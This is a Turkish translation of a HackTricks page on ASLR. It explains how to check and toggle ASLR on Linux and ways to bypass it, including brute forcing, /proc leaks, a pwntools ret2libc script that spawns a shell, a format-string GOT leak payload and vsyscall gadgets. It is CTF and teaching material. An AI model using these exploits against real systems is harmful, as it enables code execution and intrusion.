# ASLR
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Temel Bilgiler **Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifleten, yığın, bellek havuzu ve kütüphaneler gibi, tahmin etmek için saldırganın işini önemli ölçüde zorlaştırır. ### **ASLR Durumunu Kontrol Etme** Linux sistemlerinde **ASLR** durumunu kontrol etmek için, **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler: * **0**: Rastgeleleştirme yok. Her şey statiktir. * **1**: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir. * **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra `brk()` ile yönetilen bellek de rastgeleleştirilir. ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz: ```bash cat /proc/sys/kernel/randomize_va_space ``` ### **ASLR'nin Devre Dışı Bırakılması** ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **ASLR'yi Etkinleştirme** ASLR'yi **etkinleştirmek** için, `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Genellikle kök izinleri gerektirir. Tam rasgeleleştirme etkinleştirme aşağıdaki komutla yapılabilir: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Yeniden Başlatmalara Karşı Kalıcılık** `echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` `/etc/sysctl.conf` dosyasını düzenledikten sonra değişiklikleri uygulamak için: ```bash sudo sysctl -p ``` Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır. ## **Atlatmalar** ### 32 bitlik zorla kırma PaX işlem adres alanını **3 gruba** ayırır: * **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** rastgele entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir. * `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> `delta_mmap` adında **16 bit**. * **Yığın** —> `delta_stack` olarak **24 bit**. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresine** yol açar. Önceki veriler 32 bitlik sistemler içindir ve azaltılmış son entropi, saldırının başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlamayı mümkün kılar. #### Zorla kırma fikirleri: * **Kabataslak kodun önünde büyük bir NOP kaydı barındıracak kadar büyük bir taşma varsa**, yığında adresleri zorla kırabilir ve akışın **NOP kaydının bir kısmını atlamasını sağlayabilirsiniz**. * Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve shellcode'u bir ortam değişkenine eklemek mümkündür**. * Saldırı yerelse, libc'nin temel adresini zorla kırabilirsiniz (32 bitlik sistemler için faydalıdır): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` * Uzak bir sunucuyu hedef alıyorsanız, `usleep` `libc` fonksiyonunun adresini **kaba kuvvet uygulayabilirsiniz**, örneğin 10 olarak argüman geçerek. Eğer sunucu cevap vermek için 10 saniye daha fazla zaman alıyorsa, bu fonksiyonun adresini buldunuz demektir. {% hint style="success" %} 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün değildir. {% endhint %} ### Yerel Bilgiler (`/proc/[pid]/stat`) Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve içinde şunlar gibi **ilginç bilgiler** bulunur: * **startcode** & **endcode**: **İkili dosyanın TEXT**'inin üstünde ve altındaki adresler * **startstack**: **Yığının başlangıç** adresi * **start\_data** & **end\_data**: **BSS**'nin üstünde ve altındaki adresler * **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri * **arg\_start** & **arg\_end**: **Komut satırı argümanlarının** üstünde ve altındaki adresler * **env\_start** & **env\_end**: **Çevre değişkenlerinin** üstünde ve altındaki adresler Bu nedenle, saldırgan, söz konusu ikili dosyadan gelen taşmaları beklemeyen ancak farklı bir **girişten oluşturulabilecek dosyayı okuduktan sonra oluşturulabilecek** bir saldırganın, bu dosyadan bazı adresleri alıp bunlardan taşma için ofsetler oluşturmasına olanak tanır. {% hint style="success" %} Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` aramasını yapın. {% endhint %} ### Sızıntıya Sahip Olmak * **Zorluk, bir sızıntı vermektedir** Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek saldırı, [**buradaki örneğin**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) çıkarımından alınmıştır (daha fazla ayrıntı için o sayfaya bakın): ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvuntil('at: ') system_leak = int(p.recvline(), 16) libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], 0x0, # return address next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` * **ret2plt** Bir tampon taşması kullanarak **ret2plt**'yi istismar etmek, libc'den bir işlevin adresini dışarı sızdırmak mümkün olabilir. Kontrol edin: {% content-ref url="ret2plt.md" %} [ret2plt.md](ret2plt.md) {% endcontent-ref %} * **Format Strings Arbitrary Read** Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yapabilirseniz, **GOT**'dan bir **libc işlevi**nin adresini dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' payload += b'%3$s' # The third parameter points at the start of the buffer # this part is only relevant if you need to call the main function again payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` Format Strings arbitrary read hakkında daha fazla bilgiyi şurada bulabilirsiniz: {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) {% endcontent-ref %} ### Ret2ret & Ret2pop Stack içindeki adresleri istismar ederek ASLR'yi atlamayı deneyin: {% content-ref url="ret2ret.md" %} [ret2ret.md](ret2ret.md) {% endcontent-ref %} ### vsyscall **`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar. **vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamalarını sağlar.\ Ancak, burada çok ilginç araçlar bulunmayacak (örneğin, bir `ret;` eşdeğerini almak mümkündür) (Örnek ve kod [**bu yazıdan alınmıştır**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)) Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Doğrudan bir `ret` talimatına atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilirken, **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başına atlamak başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek, bu **vsyscall** adresine yürütme yönlendirilebilir ve saldırgan, bu saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarabilir. ``` ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.